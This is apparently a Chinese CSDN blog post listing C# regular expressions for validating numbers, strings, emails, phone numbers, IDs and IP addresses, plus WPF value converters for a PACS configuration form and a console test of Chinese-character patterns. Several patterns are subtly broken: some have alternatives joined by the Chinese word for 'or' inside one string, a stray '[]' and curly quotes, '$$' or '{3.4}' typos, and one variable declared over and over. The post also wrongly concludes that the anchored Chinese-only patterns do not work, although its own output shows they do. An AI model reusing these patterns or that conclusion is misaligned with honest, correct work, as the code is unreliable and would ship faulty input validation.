//数字

            Regex reg = new Regex(@"^[0-9]*$");

            //n位的数字

            Regex reg = new Regex(@"^\d{n}$");

            //至少n位的数字

            Regex reg = new Regex(@"^\d{n,}$");

            //m-n位的数字

            Regex reg = new Regex(@"^\d{m,n}$");

            //零和非零开头的数字

            Regex reg = new Regex(@"^(0|[1-9][0-9]*)$");

            //非零开头的最多带两位小数的数字

            Regex reg = new Regex(@"^([1-9][0-9]*)+(.[0-9]{1,2})?$");

            //带1-2位小数的正数或负数

            Regex reg = new Regex(@"^(\-)?\d+(\.\d{1,2})?$");

            //正数、负数、和小数

            Regex reg = new Regex(@"^(\-|\+)?\d+(\.\d+)?$");

            //有两位小数的正实数

            Regex reg = new Regex(@"^[0-9]+(.[0-9]{2})?$");

            //有1~3位小数的正实数

            Regex reg = new Regex(@"^[0-9]+(.[0-9]{1,3})?$");

            //非零的正整数

            Regex reg = new Regex(@"^[1-9]\d*$ 或 ^([1-9][0-9]*){1,3}$ 或 ^\+?[1-9][0-9]*$");

            //非零的负整数

            Regex reg = new Regex(@"^\-[1-9][]0-9″*$ 或 ^-[1-9]\d*$");

            //非负整数

            Regex reg = new Regex(@"^\d+$ 或 ^[1-9]\d*|0$");

            //非正整数

            Regex reg = new Regex(@"^-[1-9]\d*|0$ 或 ^((-\d+)|(0+))$");

            //非负浮点数

            Regex reg = new Regex(@"^\d+(\.\d+)?$ 或 ^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$");

            //非正浮点数

            Regex reg = new Regex(@"^((-\d+(\.\d+)?)|(0+(\.0+)?))$ 或 ^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$");

            //正浮点数

            Regex reg = new Regex(@"^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$ 或 ^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$");

            //负浮点数

            Regex reg = new Regex(@"^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$ 或 ^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$");

            //浮点数

            Regex reg = new Regex(@"^(-?\d+)(\.\d+)?$ 或 ^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$");

(2)、普通字符正式表达式


//汉字

            Regex reg = new Regex(@"^[\u4e00-\u9fa5]{0,}$");

            //英文和数字

            Regex reg = new Regex(@"^[A-Za-z0-9]+$ 或 ^[A-Za-z0-9]{4,40}$");

            //长度为3-20的所有字符

            Regex reg = new Regex(@"^.{3,20}$");

            //由26个英文字母组成的字符串

            Regex reg = new Regex(@"^[A-Za-z]+$");

            //由26个大写英文字母组成的字符串

            Regex reg = new Regex(@"^[A-Z]+$");

            //由26个小写英文字母组成的字符串

            Regex reg = new Regex(@"^[a-z]+$");

            //由数字和26个英文字母组成的字符串

            Regex reg = new Regex(@"^[A-Za-z0-9]+$");

            //由数字、26个英文字母或者下划线组成的字符串

            Regex reg = new Regex(@"^\w+$ 或 ^\w{3,20}$");

            //中文、英文、数字包括下划线

            Regex reg = new Regex(@"^[\u4E00-\u9FA5A-Za-z0-9_]+$");

            //中文、英文、数字但不包括下划线等符号

            Regex reg = new Regex(@"^[\u4E00-\u9FA5A-Za-z0-9]+$ 或 ^[\u4E00-\u9FA5A-Za-z0-9]{2,20}$");

            //可以输入含有^%&’,;=?$\”等字符

            Regex reg = new Regex(@"[^%&’,;=?$\x22]+");

            //禁止输入含有~的字符

            Regex reg = new Regex(@"[^~\x22]+");

(3)、特殊字符正则表达式


//Email地址

            Regex reg = new Regex(@"^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$");

            //域名

            Regex reg = new Regex(@"[a-zA-Z0-9][-a-zA-Z0-9]{0,62}(/.[a-zA-Z0-9][-a-zA-Z0-9]{0,62})+/.?");

            //InternetURL

            Regex reg = new Regex(@"[a-zA-z]+://[^\s]* 或 ^http://([\w-]+\.)+[\w-]+(/[\w-./?%&=]*)?$");

            //手机号码

            Regex reg = new Regex(@"^(13[0-9]|14[5|7]|15[0|1|2|3|5|6|7|8|9]|18[0|1|2|3|5|6|7|8|9])\d{8}$");

            //电话号码(“XXX-XXXXXXX”、”XXXX-XXXXXXXX”、”XXX-XXXXXXX”、”XXX-XXXXXXXX”、”XXXXXXX”和”XXXXXXXX)

            Regex reg = new Regex(@"^($$\d{3,4}-)|\d{3.4}-)?\d{7,8}$");

            //国内电话号码(0511-4405222、021-87888822)

            Regex reg = new Regex(@"\d{3}-\d{8}|\d{4}-\d{7}");

            //身份证号(15位、18位数字)

            Regex reg = new Regex(@"^\d{15}|\d{18}$");

            //短身份证号码(数字、字母x结尾)

            Regex reg = new Regex(@"^([0-9]){7,18}(x|X)?$ 或 ^\d{8,18}|[0-9x]{8,18}|[0-9X]{8,18}?$");

            //帐号是否合法(字母开头,允许5-16字节,允许字母数字下划线)

            Regex reg = new Regex(@"^[a-zA-Z][a-zA-Z0-9_]{4,15}$");

            //密码(以字母开头,长度在6~18之间,只能包含字母、数字和下划线)

            Regex reg = new Regex(@"^[a-zA-Z]\w{5,17}$");

            //强密码(必须包含大小写字母和数字的组合,不能使用特殊字符,长度在8-10之间)

            Regex reg = new Regex(@"^(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,10}$");

            //日期格式

            Regex reg = new Regex(@"^\d{4}-\d{1,2}-\d{1,2}");

            //一年的12个月(01~09和1~12)

            Regex reg = new Regex(@"^(0?[1-9]|1[0-2])$");

            //一个月的31天(01~09和1~31)

            Regex reg = new Regex(@"^((0?[1-9])|((1|2)[0-9])|30|31)$");

            //钱的输入格式:

            //有四种钱的表示形式我们可以接受:”10000.00″ 和 “10,000.00”, 和没有 “分” 的 “10000” 和 “10,000”

            Regex reg = new Regex(@"^[1-9][0-9]*$");

            //这表示任意一个不以0开头的数字,但是,这也意味着一个字符”0″不通过,所以我们采用下面的形式

            Regex reg = new Regex(@"^(0|[1-9][0-9]*)$");

            //一个0或者一个不以0开头的数字.我们还可以允许开头有一个负号

            Regex reg = new Regex(@"^(0|-?[1-9][0-9]*)$");

            //这表示一个0或者一个可能为负的开头不为0的数字.让用户以0开头好了.把负号的也去掉,因为钱总不能是负的吧.下面我们要加的是说明可能的小数部分

            Regex reg = new Regex(@"^[0-9]+(.[0-9]+)?$");

            //必须说明的是,小数点后面至少应该有1位数,所以”10.”是不通过的,但是 “10” 和 “10.2” 是通过的

            Regex reg = new Regex(@"^[0-9]+(.[0-9]{2})?$");

            //这样我们规定小数点后面必须有两位,如果你认为太苛刻了,可以这样

            Regex reg = new Regex(@"^[0-9]+(.[0-9]{1,2})?$");

            //这样就允许用户只写一位小数。下面我们该考虑数字中的逗号了,我们可以这样

            Regex reg = new Regex(@"^[0-9]{1,3}(,[0-9]{3})*(.[0-9]{1,2})?$");

            //1到3个数字,后面跟着任意个 逗号+3个数字,逗号成为可选,而不是必须

            Regex reg = new Regex(@"^([0-9]+|[0-9]{1,3}(,[0-9]{3})*)(.[0-9]{1,2})?$");

            //备注:这就是最终结果了,别忘了”+”可以用”*”替代。如果你觉得空字符串也可以接受的话(奇怪,为什么?)最后,别忘了在用函数时去掉去掉那个反斜杠,一般的错误都在这里

            //xml文件

            Regex reg = new Regex(@"^([a-zA-Z]+-?)+[a-zA-Z0-9]+\\.[x|X][m|M][l|L]$");

            //中文字符的正则表达式

            Regex reg = new Regex(@"[\u4e00-\u9fa5]");

            //双字节字符

            Regex reg = new Regex(@"[^\x00-\xff] (包括汉字在内,可以用来计算字符串的长度(一个双字节字符长度计2,ASCII字符计1))");

            //空白行的正则表达式,可用来删除空白行

            Regex reg = new Regex(@"\n\s*\r");

            //HTML标记的正则表达式

            Regex reg = new Regex(@"<(\S*?)[^>]*>.*?</\1>|<.*? />");// (网上流传的版本太糟糕,上面这个也仅仅能部分,对于复杂的嵌套标记依旧无能为力)

            //首尾空白字符的正则表达式

            Regex reg = new Regex(@"^\s*|\s*$或(^\s*)|(\s*$)");// (可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等),非常有用的表达式)

            //腾讯QQ号

            Regex reg = new Regex(@"[1-9][0-9]{4,}"); //(腾讯QQ号从10000开始)

            //中国邮政编码

            Regex reg = new Regex(@"[1-9]\d{5}(?!\d)");// (中国邮政编码为6位数字)

            //IP地址

            Regex reg = new Regex(@"\d+\.\d+\.\d+\.\d+");// (提取IP地址时有用)

            //IP地址

            Regex reg = new Regex(@"((?:(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d)\\.){3}(?:25[0-5]|2[0-4]\\d|[01]?\\d?\\d))");

第二章、解决方案(WPF Demo)

       既然第一章提供了正则表达式,那么现在就用正则表达式来解决1.1的问题。


2.1、WPF Demo

 自己建一个WPF工程,把这下面的6个文件添加上去即可(忽略其他样式文件吧)。


页面文件——PacsConfig.xaml(Page类型)和PacsConfig.xaml.cs

AETitleVisibilityConverter.cs——判断特殊字符(解决AETitle问题)。

IpVisibilityConverter.cs——判断IP(解决IP地址问题)。

PortVisibilityConverter.cs——判断端口号(解决端口号问题)。

StorageIsStartVisibilityConverter.cs——判断true(1)或false(0)。true则显示“启用”;false则显示“不启用”。

2.1小结中,主要放PacsConfig.xaml(Page类型)和PacsConfig.xaml.cs。

剩下的4个.cs文件,与下面的几个小结一一对应。

 PacsConfig.xaml(用来显示UI):


<Page x:Class="KeenRayLargePC.Views.PacsConfig"

      xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"

      xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"

      xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" 

      xmlns:d="http://schemas.microsoft.com/expression/blend/2008" 

      xmlns:local="clr-namespace:KeenRayLargePC.Views"

      xmlns:converter="clr-namespace:KeenRayLargePC.VisibilityConverter"

      mc:Ignorable="d" 

      d:DesignHeight="964" d:DesignWidth="1844"

      Title="PacsConfig">

 

    <Page.Resources>

        <converter:AETitleVisibilityConverter x:Key="textCheckConverter"/>

        <converter:StorageIsStartVisibilityConverter x:Key="enableConverter"/>

        <converter:PortVisibilityConverter x:Key="portConverter"/>

        <converter:IpVisibilityConverter x:Key="ipConverter"/>

    </Page.Resources>

 

    <Viewbox StretchDirection="Both" Stretch="Fill">

        <Grid Background="#dbdce1" Width="1844" Height="1004">

            <Grid.ColumnDefinitions>

                <ColumnDefinition Width="1*" x:Name="column1"/>

                <ColumnDefinition Width="1*"/>

            </Grid.ColumnDefinitions>

 

            <!--内容-->

            <Canvas Grid.Column="0" Background="#FFF4F4F4" >

                <Border  BorderThickness="1" BorderBrush="#FFA2A2D1" />

                <Label  Content="存储通讯配置" Background="#FFDBDCE1" VerticalAlignment="Center" Width="400"/>

                <TextBox Text="AETitle" Canvas.Left="95" Canvas.Top="56" Height="35" Width="102" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <TextBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="40" VerticalContentAlignment="Center" Name="tbk_StorageAETitle" Text="{Binding StorageAETitle}" Style="{StaticResource TextBoxStyle}" />

                <Label Content="*" Foreground="Red" Canvas.Left="711" Canvas.Top="45" Visibility="{Binding ElementName=tbk_StorageAETitle,Path=Text,Converter={StaticResource textCheckConverter}}" Height="57" Width="38"></Label>

 

                <TextBox Text="IP地址" Canvas.Left="95" Canvas.Top="159" Height="35" Width="89" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <TextBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="143" VerticalContentAlignment="Center" Name="tbk_StorageIP" Text="{Binding StorageIP}" Style="{StaticResource TextBoxStyle}"/>

                <Label Content="*" Foreground="Red" Canvas.Left="711" Canvas.Top="148" Visibility="{Binding ElementName=tbk_StorageIP,Path=Text,Converter={StaticResource ipConverter}}" Height="57" Width="38"></Label>

 

                <TextBox Text="端口号" Canvas.Left="95" Canvas.Top="262" Height="35" Width="92" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <TextBox Width="444" Height="65" Canvas.Left="267" Canvas.Top="246" VerticalContentAlignment="Center" Name="tbk_StoragePort" Text="{Binding StoragePort}" Style="{StaticResource TextBoxStyle}"/>

                <Label Content="{Binding ElementName=tbk_StoragePort,Path=Text,Converter={StaticResource portConverter}}" Foreground="Red" Canvas.Left="711" Canvas.Top="251" Height="57" Width="236"></Label>

 

                <TextBox Text="语法" Canvas.Left="95" Canvas.Top="366" Height="35" Width="62" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <ComboBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="350" VerticalContentAlignment="Center" Style="{StaticResource CfgComboBoxStyle}" IsReadOnly="True" ItemsSource="{Binding StorageGrammar}" SelectedIndex="{Binding StorageGrammarIndex}"/>

 

                <TextBox Text="发送模式" Canvas.Left="95" Canvas.Top="469" Height="35" Width="123" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <ComboBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="453" VerticalContentAlignment="Center" Style="{StaticResource CfgComboBoxStyle}" IsReadOnly="True" ItemsSource="{Binding SendMode}" SelectedIndex="{Binding SendModeIndex}"/>

                <TextBox Text="是否启用" Canvas.Left="95" Canvas.Top="572" Height="35" Width="123" Style="{StaticResource CfgTextBoxStyle}" Background="{x:Null}"></TextBox>

                <ComboBox Width="444" Height="64" Canvas.Left="267" Canvas.Top="556" VerticalContentAlignment="Center" Style="{StaticResource CfgComboBoxStyle}" IsReadOnly="True" ItemsSource="{Binding IsStorageEnable}" SelectedIndex="{Binding IsStorageEnableIndex}"/>

 

                <CheckBox Canvas.Left="133" Canvas.Top="675" Content="启动存储确认" Style="{StaticResource CheckBoxStyle}" IsChecked="{Binding IsEnableStorageConfirm}" Height="57" Width="270"></CheckBox>

                <CheckBox Canvas.Left="506" Canvas.Top="675" Content="标注嵌入" Style="{StaticResource CheckBoxStyle}" IsChecked="{Binding IsAnnotationEmbeded}" Height="57" Width="207"></CheckBox>

 

                <Button Width="150" Height="100" Content="增加" Canvas.Left="76" Canvas.Top="844" Style="{StaticResource StyleButton}" Name="btn_AddStorage" Click="btn_AddStorage_Click"/>

                <Button Width="150" Height="100" Content="修改" Canvas.Left="284" Canvas.Top="844" Style="{StaticResource StyleButton}" Name="btn_ModifyStorage" Click="btn_ModifyStorage_Click"/>

                <Button Width="150" Height="100" Content="删除" Canvas.Left="492" Canvas.Top="844" Style="{StaticResource StyleButton}" Name="btn_DeleteStorage" Click="btn_DeleteStorage_Click"/>

                <Button Width="150" Height="100" Content="测试" Canvas.Left="724" Canvas.Top="844" Style="{StaticResource StyleButton}" Name="btn_TestStorage" Click="btn_TestStorage_Click"/>

            </Canvas>

 

            <Grid Grid.Column="1" Background="#FFC1C1E3">

                <ListView Grid.Row="0" Style="{StaticResource CfgListViewStyle}" Name="listview_Storage" ItemContainerStyle="{StaticResource ListViewItemContainerStyle}" SelectionChanged="listview_Storage_SelectionChanged" Margin="0,0,0,-14">

                    <ListView.View>

                        <GridView ColumnHeaderContainerStyle="{StaticResource CfgDefaultGridViewColumnHeader}">

                            <GridViewColumn Header="AETitle" Width="200" DisplayMemberBinding="{Binding AETitle}"/>

                            <GridViewColumn Header="IP地址" Width="200" DisplayMemberBinding="{Binding IP}"/>

                            <GridViewColumn Header="端口" Width="200" DisplayMemberBinding="{Binding Port}"/>

                            <GridViewColumn Header="存储启用" Width="200" DisplayMemberBinding="{Binding StorageFlag,Converter={StaticResource enableConverter}}"/>

                        </GridView>

                    </ListView.View>

                </ListView>

            </Grid>

 

        </Grid>

    </Viewbox>

</Page>

 PacsConfig.xaml.cs(后台逻辑为空,不罗列也罢):


2.2、判断特殊字符(解决AETitle问题)

特别要注意特殊字符 +   -    ?等等,前面一定要加  \\


    class AETitleVisibilityConverter : IValueConverter

    {

        public object Convert(object value, Type targetType, object parameter, CultureInfo culture)

        {

            //string str = "[!!@#$%\\^&*()./、~`·\\-_=\\+——><《》\\??]+";

            //string str = "[!!@#$%^&*()./、{}【】~`·-_=+——><《》??]+";

            string str = "[!!@#$%\\^&*()./、{}【】~`·\\-_=\\+——><《》\\??]+";

            Regex regex = new Regex(str);

            if (string.IsNullOrEmpty(value.ToString().Trim()))

            {

                return Visibility.Visible;

            }

            else

            {

                if ((regex.IsMatch(value.ToString())))

                    return Visibility.Visible;

                return Visibility.Hidden;

            }

        }

 

        public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)

        {

            throw new NotImplementedException();

        }

    }

2.3、判断IP(解决IP地址问题)

  class IpVisibilityConverter : IValueConverter

    {

        public object Convert(object value, Type targetType, object parameter, CultureInfo culture)

        {

            if (value == null)

            {

                return System.Windows.Visibility.Visible;

            }

            else

            {

                if (string.IsNullOrEmpty(value.ToString()))

                    return System.Windows.Visibility.Visible;

                else

                {

                    string regex = @"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$";

                    if (!System.Text.RegularExpressions.Regex.IsMatch(value.ToString(), regex))

                    {

                        return System.Windows.Visibility.Visible;

                    }

                }

            }

            return System.Windows.Visibility.Hidden;

        }

 

        public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)

        {

            throw new NotImplementedException();

        }

    }

2.4、判断端口号(解决端口号问题)

 public class PortVisibilityConverter : IValueConverter

    {

        public object Convert(object value, Type targetType, object parameter, CultureInfo culture)

        {

            if (value.ToString() == "")

                return "*";

            int port = 0;

            if (Int32.TryParse(value.ToString(), out port))

            {

                if (port > 1024 && port < 65536)

                    return "";

                else

                    return "1025-65535";

            }

            else

            {

                return "1025-65535";

            }

        }

 

        public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)

        {

            throw new NotImplementedException();

        }

    }

2.5、判断true或false

    class StorageIsStartVisibilityConverter : IValueConverter

    {

        public object Convert(object value, Type targetType, object parameter, CultureInfo culture)

        {

            if (value.ToString() == "0")

                return "不启用";

            else

                return "启用";

        }

 

        public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)

        {

            throw new NotImplementedException();

        }

    }

第三章、实践过程需注意的事项

3.1、验证汉字或中文的正则表达式

        参考https://www.cnblogs.com/feiyucha/p/10051117.html     


       参考了第二章以及网上的几种正则表达式,来验证汉字,都不行。比如:


 Regex reg = new Regex(@"^[\u4e00-\u9fa5]{0,}$");

 Regex reg = new Regex(@"[\u4e00-\u9fa5]{0,}$");

 Regex reg = new Regex("^[\u4e00-\u9fa5]{0,}$");

 Regex reg = new Regex("[\u4e00-\u9fa5]{0,}$");

于是,写成下面的两种形式就可以验证汉字了:


 Regex regex = new Regex("[\u4e00-\u9fa5]");

^ 意思是从字符的起始位置开始匹配,虽然看起来没错,实际却不然。因此我们还是要多多验证才行。

千淘万漉虽辛苦,吹尽狂沙始到金。

完整的Demo如下所示:


#region 正则表达式:费了千辛万苦整理出来的

 

using System;

using System.Collections;

using System.Collections.Generic;

using System.Drawing;

using System.IO;

using System.Linq;

using System.Text;

using System.Text.RegularExpressions;

using System.Threading;

using System.Threading.Tasks;

using System.Xml.Linq;

using test;

 

namespace QueueSample

{

    class Program

    {

        static void Main(string[] args)

        {

            Console.WriteLine("-----------1:不能用----------");

            CharacterValidity1("我我");

            CharacterValidity1("jj");

            CharacterValidity1("**");

            CharacterValidity1("我我**");

            CharacterValidity1("我我jj");

            CharacterValidity1("**我我");

            CharacterValidity1("jj我我");

            CharacterValidity1("jj**");

            CharacterValidity1("jj我我**");

 

            Console.WriteLine("-----------2:不能用----------");

            CharacterValidity2("我我");

            CharacterValidity2("jj");

            CharacterValidity2("**");

            CharacterValidity2("我我**");

            CharacterValidity2("我我jj");

            CharacterValidity2("**我");

            CharacterValidity2("jj我");

            CharacterValidity2("jj**");

            CharacterValidity2("jj我**");

 

            Console.WriteLine("-----------3:不能用----------");

            CharacterValidity3("我我");

            CharacterValidity3("jj");

            CharacterValidity3("**");

            CharacterValidity3("我我**");

            CharacterValidity3("我我jj");

            CharacterValidity3("**我我");

            CharacterValidity3("jj我我");

            CharacterValidity3("jj**");

            CharacterValidity3("jj我我**");

 

            Console.WriteLine("-----------4:不能用----------");

            CharacterValidity4("我我");

            CharacterValidity4("jj");

            CharacterValidity4("**");

            CharacterValidity4("我我**");

            CharacterValidity4("我我jj");

            CharacterValidity4("**我我");

            CharacterValidity4("jj我我");

            CharacterValidity4("jj**");

            CharacterValidity4("jj我我**");

 

 

            Console.WriteLine("-----------5:不能用----------");

            CharacterValidity5("我我");

            CharacterValidity5("jj");

            CharacterValidity5("**");

            CharacterValidity5("我我**");

            CharacterValidity5("我我jj");

            CharacterValidity5("**我我");

            CharacterValidity5("jj我我");

            CharacterValidity5("jj**");

            CharacterValidity5("jj我我**");

 

 

            Console.WriteLine("-----------6:不能用----------");

            CharacterValidity6("我我");

            CharacterValidity6("jj");

            CharacterValidity6("**");

            CharacterValidity6("我我**");

            CharacterValidity6("我我jj");

            CharacterValidity6("**我我");

            CharacterValidity6("jj我我");

            CharacterValidity6("jj**");

            CharacterValidity6("jj我我**");

 

            Console.WriteLine("-----------7:不能用----------");

            CharacterValidity7("我我");

            CharacterValidity7("jj");

            CharacterValidity7("**");

            CharacterValidity7("我我**");

            CharacterValidity7("我我jj");

            CharacterValidity7("**我我");

            CharacterValidity7("jj我我");

            CharacterValidity7("jj**");

            CharacterValidity7("jj我我**");

 

            Console.WriteLine("-----------8:可以用----------");

            CharacterValidity8("我我");

            CharacterValidity8("jj");

            CharacterValidity8("……………………~~~-----**");

            CharacterValidity8("我我**");

            CharacterValidity8("我我jj");

            CharacterValidity8("**我我***^^^//");

            CharacterValidity8("jj我我");

            CharacterValidity8("jj**");

            CharacterValidity8("jj我我//...**");

            Console.ReadLine();

        }

 

        //不能用

        private static bool CharacterValidity1(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("^[\u4e00-\u9fa5]{0,}$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity2(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("^[\u4e00-\u9fa5]{1,}$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity3(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("^[\u4e00-\u9fa5]+$");//这是我另一个项目的同事在用,但是我验证了,却是无法用。

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity4(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]+$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity5(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]{0,}$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity6(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]{1,}$");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //不能用

        private static bool CharacterValidity7(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]{0,}");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

 

        //可以用

        private static bool CharacterValidity8(string str)

        {

            bool IsValidity = false;

            Regex regex = new Regex("[\u4e00-\u9fa5]");

            if (regex.IsMatch(str.ToString()))

            {

                IsValidity = true;

            }

            Console.WriteLine(IsValidity.ToString());

            return IsValidity;

        }

    }

}

#endregion

输出结果:


-----------1:不能用----------

True

False

False

False

False

False

False

False

False

-----------2:不能用----------

True

False

False

False

False

False

False

False

False

-----------3:不能用----------

True

False

False

False

False

False

False

False

False

-----------4:不能用----------

True

False

False

False

False

True

True

False

False

-----------5:不能用----------

True

True

True

True

True

True

True

True

True

-----------6:不能用----------

True

False

False

False

False

True

True

False

False

-----------7:不能用----------

True

True

True

True

True

True

True

True

True

-----------8:可以用----------

True

False

False

True

True

True

True

False

True

 

————————————————

版权声明:本文为CSDN博主「我爱AI」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/xpj8888/article/details/98946857